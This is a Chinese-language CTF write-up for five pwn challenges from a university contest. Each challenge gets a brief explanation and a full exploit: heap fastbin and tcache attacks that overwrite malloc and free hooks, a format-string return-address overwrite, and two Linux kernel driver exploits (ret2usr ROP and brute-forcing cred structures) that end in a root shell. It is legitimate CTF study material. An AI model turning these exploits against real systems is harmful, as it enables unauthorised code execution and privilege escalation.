西工大、北邮、西电联合举办的一场CTF比赛,逼疯了不知多少懵懂的CTFer(我也在里面)
BAD GUY
edit处自定size,简单的堆溢出,fastbin attack并利用stdout打印libc地址,再次利用fastbin attack申请chunk并修改malloc_hook为rce
1 | from pwn import* |
2 | def new(index,size,content): |
3 | p.sendlineafter('>>','1') |
4 | p.sendlineafter('Index :',str(index)) |
5 | p.sendlineafter('size:',str(size)) |
6 | p.sendafter('Content:',content) |
7 | def edit(index,size,content): |
8 | p.sendlineafter('>>','2') |
9 | p.sendlineafter('Index :',str(index)) |
10 | p.sendlineafter('size:',str(size)) |
11 | p.sendafter('content:',content) |
12 | def free(index): |
13 | p.sendlineafter('>>','3') |
14 | p.sendlineafter('Index :',str(index)) |
15 | p = process('./main') |
16 | p = remote('ha1cyon-ctf.fun',30224) |
17 | libc = ELF('./libc-2.23.so',checksec=False) |
18 | context.log_level ='DEBUG' |
19 | new(0,0x10,'FMYY') #0 |
20 | new(1,0x60,'FMYY') #1 |
21 | new(2,0x60,'FMYY') #2 |
22 | new(3,0x10,'FMYY') #3 |
23 | new(4,0x80,'FMYY') #4 |
24 | new(5,0x60,'FMYY') #5 |
25 | new(6,0x60,'FMYY') #6 |
26 | new(7,0x60,'FMYY') #7 |
27 | free(5) |
28 | free(1) |
29 | edit(0,0x21,'\x00'*0x10 + p64(0) + p64(0x71) + '\x20') |
30 | free(4) |
31 | edit(3,0x22,'\x00'*0x10 + p64(0) + p64(0x71) + '\xDD\x25') |
32 | new(1,0x60,'FMYY') |
33 | new(4,0x60,'FMYY') |
34 | new(4,0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88') |
35 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
36 | log.info('LIBC:\t' + hex(libc_base)) |
37 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
38 | rce = libc_base + 0xF1147 |
39 | free(6) |
40 | free(1) |
41 | edit(0,0x21,'\x00'*0x10 + p64(0) + p64(0x71) + '\x90') |
42 | edit(7,8,p64(malloc_hook - 0x23)) |
43 | new(2,0x60,'FMYY') |
44 | new(2,0x60,'FMYY') |
45 | new(2,0x60,'\x00'*0x13 + p64(rce)) |
46 | p.sendlineafter('>>','1') |
47 | p.sendlineafter('Index :',str(0)) |
48 | p.sendlineafter('size:',str(16)) |
49 | p.interactive() |
下载
easyheap
offbyone,修改下一个块的size域,填满tcache结构,然后利用overlapping即可往下一个块上写上libc地址,然后就是tcache dup修改free_hook为rce
1 | from pwn import* |
2 | from LD import* |
3 | def new(size,content): |
4 | p.sendlineafter('choice :','1') |
5 | p.sendlineafter(': ',str(size)) #0x18 OR 0x38 |
6 | p.sendafter('Content:',content) |
7 | def edit(index,content): |
8 | p.sendlineafter('choice :','2') |
9 | p.sendlineafter('Index :',str(index)) |
10 | p.sendafter('Content:',content) |
11 | def show(index): |
12 | p.sendlineafter('choice :','3') |
13 | p.sendlineafter('Index :',str(index)) |
14 | def free(index): |
15 | p.sendlineafter('choice :','4') |
16 | p.sendlineafter('Index :',str(index)) |
17 | |
18 | libc = ELF('./libc-2.27.so',checksec=False) |
19 | LD=change_ld('./main','./ld-2.27.so') |
20 | p = LD.process(env={'LD_PRELOAD':'./libc-2.27.so'}) |
21 | #p = remote('ha1cyon-ctf.fun',30032) |
22 | p = process('./main') |
23 | context.log_level ='DEBUG' |
24 | for i in range(8): |
25 | new(0x18,'FMYY') |
26 | for i in range(7): |
27 | edit(i,'\x00'*0x10 + p64(0) + '\xC1') |
28 | for i in range(1,8): |
29 | free(i) |
30 | new(0x38,'FMYY') #1 |
31 | new(0x38,'FMYY') #2 |
32 | new(0x38,'FMYY') #3 |
33 | new(0x38,'FMYY') #4 |
34 | new(0x38,'FMYY') #5 |
35 | edit(1,'\x00'*0x38 + '\xC1') |
36 | free(2) |
37 | new(0x38,'FMYY') #2 |
38 | show(3) |
39 | p.recvuntil('Content : ') |
40 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x60 - 0x10 - libc.sym['__malloc_hook'] |
41 | log.info('LIBC:\t' + hex(libc_base)) |
42 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
43 | free_hook = libc_base + libc.sym['__free_hook'] |
44 | rce = libc_base + 0x4F322 |
45 | new(0x38,'FMYY') #6 |
46 | new(0x38,'FMYY') #7 |
47 | free(3) |
48 | edit(6,p64(free_hook)) |
49 | new(0x38,'FMYY') #3 |
50 | new(0x38,p64(rce)) #4 |
51 | free(0) |
52 | p.interactive() |
下载
level2
简单的格式化字符串漏洞,可以多次利用栈链修改返回地址为rce
1 | from pwn import* |
2 | #p = remote('ha1cyon-ctf.fun',30196) |
3 | p = process('./main') |
4 | libc= ELF('./libc-2.27.so') |
5 | payload = 'LIBC:%7$p' + 'PIE:%6$p' + 'Stack:%9$p' |
6 | p.send(payload) |
7 | p.recvuntil('LIBC:') |
8 | libc_base = int(p.recv(14),16) - libc.sym['__libc_start_main'] -231 |
9 | log.info('LIBC:\t' + hex(libc_base)) |
10 | p.recvuntil('PIE:') |
11 | pie = int(p.recv(14),16) - 0x830 |
12 | log.info('PIE:\t' + hex(pie)) |
13 | p.recvuntil('Stack:') |
14 | stack = int(p.recv(14),16) - 232 |
15 | log.info('Stack:\t' + hex(stack)) |
16 | rce = libc_base + 0x10A38C |
17 | offset = stack&0xFFFF |
18 | off_1 = rce&0xFFFF |
19 | off_2=(rce>>16)&0xFFFF |
20 | off_3=(rce>>32)&0xFFFF |
21 | |
22 | payload ='%' + str(offset+8) + 'c' +'%9$hnFMYY\x00' |
23 | p.sendline(payload) |
24 | p.recvuntil('FMYY') |
25 | payload ='%' + str(off_1) + 'c' +'%35$hnFMYY\x00' |
26 | p.sendline(payload) |
27 | p.recvuntil('FMYY') |
28 | payload ='%' + str(offset+10) + 'c' +'%9$hnFMYY\x00' |
29 | p.sendline(payload) |
30 | p.recvuntil('FMYY') |
31 | payload ='%' + str(off_2) + 'c' +'%35$hnFMYY\x00' |
32 | p.sendline(payload) |
33 | p.recvuntil('FMYY') |
34 | p.sendline('66666666\x00') |
35 | p.interactive() |
下载
Learn-Kernel-From-ROP
一个入门的内核ROP题,没有canary,没有开启kaslr,直接找到gadget,用ret2usr做即可
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 | |
10 | size_t user_cs, user_ss, user_rflags, user_sp; |
11 | void save_status() |
12 | { |
13 | __asm__("mov user_cs, cs;" |
14 | "mov user_ss, ss;" |
15 | "mov user_sp, rsp;" |
16 | "pushf;" |
17 | "pop user_rflags;" |
18 | ); |
19 | puts("[*]status has been saved."); |
20 | } |
21 | |
22 | void get_shell() |
23 | { |
24 | system("/bin/sh"); |
25 | } |
26 | size_t commit_creds = 0,prepare_kernel_cred = 0; |
27 | |
28 | size_t find_symbols() |
29 | { |
30 | FILE* kallsyms_fd = fopen("/proc/kallsyms", "r"); |
31 | |
32 | if(kallsyms_fd < 0) |
33 | { |
34 | puts("[*]open kallsyms error!"); |
35 | exit(0); |
36 | } |
37 | |
38 | char buf[0x30] = {0}; |
39 | while(fgets(buf, 0x30, kallsyms_fd)) |
40 | { |
41 | if(commit_creds & prepare_kernel_cred) |
42 | return 0; |
43 | |
44 | if(strstr(buf, "commit_creds") && !commit_creds) |
45 | { |
46 | char hex[20] = {0}; |
47 | strncpy(hex, buf, 16); |
48 | sscanf(hex, "%llx", &commit_creds); |
49 | printf("commit_creds: %p\n", commit_creds); |
50 | } |
51 | |
52 | if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) |
53 | { |
54 | char hex[20] = {0}; |
55 | strncpy(hex, buf, 16); |
56 | sscanf(hex, "%llx", &prepare_kernel_cred); |
57 | printf("prepare_kernel_cred: %p\n", prepare_kernel_cred); |
58 | } |
59 | } |
60 | |
61 | if(!(prepare_kernel_cred & commit_creds)) |
62 | { |
63 | puts("[*]Error!"); |
64 | exit(0); |
65 | } |
66 | |
67 | } |
68 | |
69 | void get_root() |
70 | { |
71 | char* (*pkc)(int) = prepare_kernel_cred; |
72 | void (*cc)(char*) = commit_creds; |
73 | (*cc)((*pkc)(0)); |
74 | } |
75 | |
76 | int main() |
77 | { |
78 | size_t iretq = 0xFFFFFFFF811335EF; //iretq; |
79 | size_t swapgs_ret = 0xFFFFFFFF817B6B48; //swapgs; ret; |
80 | save_status(); |
81 | int fd = open("/dev/vuln",2); |
82 | if(fd < 0) |
83 | { |
84 | puts("[*]open /dev/vuln error!"); |
85 | exit(0); |
86 | } |
87 | find_symbols(); |
88 | char rop[0xB0]; |
89 | memset(rop,1,0xB0); |
90 | *((size_t*)(rop+0x74)) = (size_t)get_root; |
91 | *((size_t*)(rop+0x7C)) = swapgs_ret; |
92 | *((size_t*)(rop+0x84)) = iretq; |
93 | *((size_t*)(rop+0x8C)) = (size_t)get_shell; |
94 | *((size_t*)(rop+0x94)) = user_cs; |
95 | *((size_t*)(rop+0x9C)) = user_rflags; |
96 | *((size_t*)(rop+0xA4)) = user_sp; |
97 | *((size_t*)(rop+0xAC)) = user_ss; |
98 | puts("[*] Build Success"); |
99 | write(fd,rop,200); |
100 | close(fd); |
101 | return 0; |
102 | } |
下载
ezdrv
完全不会利用的一个题,其他师傅说简单,我还是第一次爆破cred地址,洞很好找,就是如何利用不太清除,看了wp才知道是爆破cred从而改cred空间里面的值
因为notice处有个最多0x20大小的字节的溢出,则可以溢出修改note_list中的指针,且给定cred的地址范围,此外在脚本最初更改进程名字,根据进程名称可以确定cred空间的具体位置,然后进行修改本进程的cred空间内的值
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 | //0x10000001 |
9 | struct New{ |
10 | size_t size; |
11 | char *buf; |
12 | }; |
13 | //0x10000002 |
14 | struct View{ |
15 | unsigned int idx; |
16 | size_t size; |
17 | char *buf; |
18 | }; |
19 | //0x100000003 |
20 | struct Free{ |
21 | unsigned int idx; |
22 | }; |
23 | //0x100000004 |
24 | struct Edit{ |
25 | unsigned int idx; |
26 | size_t size; |
27 | char *buf; |
28 | }; |
29 | int main() |
30 | { |
31 | size_t flag,result; |
32 | int fd = open("/dev/vuln",O_RDWR); |
33 | char Process_Name[] = "AZEZ_FIND"; |
34 | prctl(PR_SET_NAME , Process_Name); |
35 | |
36 | struct New n; |
37 | struct View v; |
38 | struct Free f; |
39 | struct Edit e; |
40 | char *res = malloc(0x1000); |
41 | char buf[0x100] = {0}; |
42 | memcpy(buf,"FMYY",4); |
43 | n.buf = buf; |
44 | n.size = 0x10; |
45 | ioctl(fd,0x10000001,&n); |
46 | flag = (0x1000 <<1) + 1; |
47 | for(size_t start = 0xFFFF880000000000;start<0xFFFFC80000000000;start+=0x1000) |
48 | { |
49 | memcpy(buf +0x40,&flag,8); |
50 | memcpy(buf +0x48,&start,8); |
51 | n.buf = buf; |
52 | n.size = 0x50; |
53 | ioctl(fd,0x10000001,&n); |
54 | f.idx = 1; |
55 | ioctl(fd,0x10000003,&f); |
56 | |
57 | v.idx = 0; |
58 | v.size = 0x1000; |
59 | v.buf = res; |
60 | ioctl(fd,0x10000002,&v); |
61 | result = memmem(res,0x1000,Process_Name,9); |
62 | if(result) |
63 | { |
64 | size_t cred = *(size_t*)(result-0x10); |
65 | size_t real_cred = *(size_t*)(result-0x8); |
66 | puts("[+] Have Found"); |
67 | memcpy(buf+0x48,&cred,8); |
68 | n.size = 0x50; |
69 | n.buf = buf; |
70 | ioctl(fd,0x10000001,&n); |
71 | e.idx = 0; |
72 | e.size = 0x28; |
73 | char payload[0x28]; |
74 | memset(payload,0,0x28); |
75 | e.buf = payload; |
76 | ioctl(fd,0x10000004,&e); |
77 | puts("[+] ROOT-ME"); |
78 | system("/bin/sh"); |
79 | } |
80 | } |
81 | close(fd); |
82 | return 0; |
83 | } |